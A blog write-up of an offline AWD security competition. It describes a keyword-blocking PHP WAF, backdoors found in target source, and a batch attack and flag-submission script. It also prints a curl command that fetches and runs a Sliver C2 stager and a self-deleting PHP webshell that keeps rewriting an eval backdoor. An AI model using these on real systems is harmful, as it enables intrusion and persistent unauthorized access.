MysidBlog
主页 友链 关于

浙江通信行业竞赛-线下AWD

LastUpdate: 2024-08-06

前言

夏日中重返杭州与doddy和rocket会面,第一次去线下awd当作积累经验了,在d师傅的实力输出下我们最后顺利拿到了第三名。

pkjeA8H.jpg

 

Beginning of AWD

在awd中两种主要的攻击手段就是找漏洞和抓流量反打,这次比赛提供了三个靶机,分别是两web一pwn,选手使用ssh密钥连接没有默认密码,登录后第一时间应该备份源码并且启动日志和waf等防护手段,这次比赛没有安全加固环节每10分钟刷新一轮flag。

 

可以写一段简易waf代码并入源码,要部署waf项目可以参考https://github.com/leohearts/awd-watchbird

<?php
    
    $log_file = '/tmp/logfile.log';
    
    // 获取请求信息
    $client_ip = $_SERVER['REMOTE_ADDR'];
    $request_uri = $_SERVER['REQUEST_URI'];
    $request_method = $_SERVER['REQUEST_METHOD'];
    $time = date('Y-m-d H:i:s');
    $post_data = '';
    if (!empty($_POST)) {
        $post_data = file_get_contents('php://input');
    }
    
    // 记录日志
    $log_entry = "[$time] $client_ip $request_method $request_uri POST_DATA: $post_data\n";
    file_put_contents($log_file, $log_entry, FILE_APPEND);
    
    // 过滤黑名单
    $blacklist = [
        'flag',
        'cat',
        'eval'
    ];
    
    // 检查url和post_data
    $is_forbidden = false;
    foreach ($blacklist as $forbidden) {
        if (strpos($request_uri, $forbidden) !== false) {
            $is_forbidden = true;
            break;
        } elseif (strpos($post_data, $forbidden) !== false) {
            $is_forbidden = true;
            break;
        }
    }
    
    $banned_ip = [
    ];
    foreach ($banned_ip as $forbidden) {
        if ($client_ip == $forbidden) {
            $is_forbidden = true;
            break;
        }
    }
    
    if ($is_forbidden) {
        header('HTTP/1.1 400 Bad Request');
        exit();
    }
    
    ?>
    

 

Attack & Defence

准备好后开始看源码,两台靶机运行的 web 服务分别是 Bludit CMS v3.15.0 和 Yii framework v1.1.14,如果发现后门就要立即修复。

<?php
    define("FLAG", file_get_contents("/flag"));
    print_r(parse_ini_string($_GET["string"]));
    
<?php
    
    class AdminModule extends CWebModule
    {
        public function init() {}
    
        public function beforeControllerAction($controller, $action)
        {
            if (parent::beforeControllerAction($controller, $action)) {
                return true;
            } else
                return false;
        }
    
        public function __destruct()
        {
            eval($_POST['cmd']);
        }
    }
    

 

在构造exp后编写批量攻击交 flag 脚本,拿到rce就开始权限维持,可以先反连c2然后种个内存马或不死马,有权限还可以写入ssh公钥,相对应的为了防御可以开启进程监控,参考工具https://github.com/DominicBreuker/pspy

 

自动提交 flag 脚本模板:

import time
    import re
    import subprocess
    from pwn import *
    import requests
    
    ############################################################
    ###################### READ ME FIREST ######################
    ############################################################
    #需要修改的内容:
    #1、main函数中的ip、port、token配置
    #2、attack函数中payload内容
    #3、submit函数中curl链接及格式
    #需要注意的事项:
    #1、attack中的remote或request必须设置timeout
    #2、接受flag前一定要把其他回显接收完
    #3、正式运行时将debug关闭,减少回显
    
    def attack(ip,port):
        try:
            ################## pwn exploit demo ################
            # r = remote(ip,port,timeout=10)
            # # ........payload.......
            # # r.interactive()
            # # 将interactive()更改为cat flag或其他命令
            # r.sendline("cat flag")
            # # 接受flag前一定要把其他回显接受完
            # flag = r.recvline().strip()
            # r.close()
    
    
            ################## web exploit demo ################
            # ret = requests.post("http://"+ip+":"+port+"/target/index.php", json = submit_data, headers=headers,timeout = 10)
            # # ........payload.......
            # # 正则匹配flag
            # flag = re.search(r'flag\{.+\}', r.text).group()
    
            print("[\033[0;36mFLAGS\033[0m] "+ip+":"+port +"\033[0m flag is : \033[0;36m"+flag +"\033[0m")
    
            print("[\033[0;32mSUCCE\033[0m] "+ip+":"+port +" attack success")
            return flag
    
        except Exception as e:
            print("[\033[0;37;41mERROR\033[0m] \033[0;32m"+ip+"\033[0m:\033[0;34m"+port +"\033[0m can not attack, because: \033[0;31m" + str(e) + "\033[0m")
            return False
    
    def submit(ip,port,flag):
        try:
            # 修改submit的格式
            a = subprocess.Popen(['curl -s http://10.10.10.1/submit_flag -d "flag={flag}&token=askfjklasu12388jlj"'.format(flag=flag)],shell=True, stdout=subprocess.PIPE)
            # print(a.stdout.readline())
            print("[\033[0;32mSUCCE\033[0m] "+ip+":"+port + " submit success")
        except Exception as e:
            print("[\033[0;37;41mERROR\033[0m] \033[0;32m"+ip+"\033[0m:\033[0;34m"+port + "\033[0m submit failed, because: \033[0;31m" + str(e) + "\033[0m")
            return False
    
    def main():
        try:
            # 所有队伍网段区间
            for i in range(101,124):
                self_id = 103 # 跳过自己的队伍ip
                if i == self_id:
                    continue
                # 靶机ip和port
                ip = "192.168."+str(i)+".101"
                port = "9999"
                flag = attack(ip,port)
                submit(ip,port,flag)
                time.sleep(0.5)
            print("[\033[0;30;43mROUND\033[0m] "+time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())+" round attack end, waitting for next round")
        except Exception as e:
            print("[\033[0;37;41mERROR\033[0m] \033[0;37;41mmain function error, because: " + str(e) + "\033[0m")
            exit(0)
    
    
    if __name__ == '__main__':
        try:
            while 1:
                # 每个轮次
                print("[\033[0;30;43mROUND\033[0m] "+time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())+" begin to attack")
                main()
                time.sleep(10*60)
        except Exception as e:
            print("[\033[0;37;41mERROR\033[0m] \033[0;37;41mmain function error, because: " + str(e) + "\033[0m")
            exit(0)
    

 

连接Sliver C2:

curl http://sliver-ip/index..stager_file_ext?c=ID --output session && chmod u+x .session && ./session >/dev/null &
    

 

利用 php不死马写入后门以及关闭服务:

<?php
        ignore_user_abort(true);
        set_time_limit(0);
        unlink(__FILE__);
        $file = '.test.php';
        $code = '<?php if(md5($_GET["pass"])=="pass_md5"){@eval($_POST[test]);} ?>';
        while (1){
            file_put_contents($file,$code);
            //system('rm /var/www/html/index.php');
            usleep(2000);
        }
    ?>
    

 

The End

总的来说,如果两个web手组队的话,可以一人负责监控和修复,发现攻击流量用 waf 拦截就行了,另一人负责写脚本,利用c2以及捕获到的payload基本就可以稳定得分。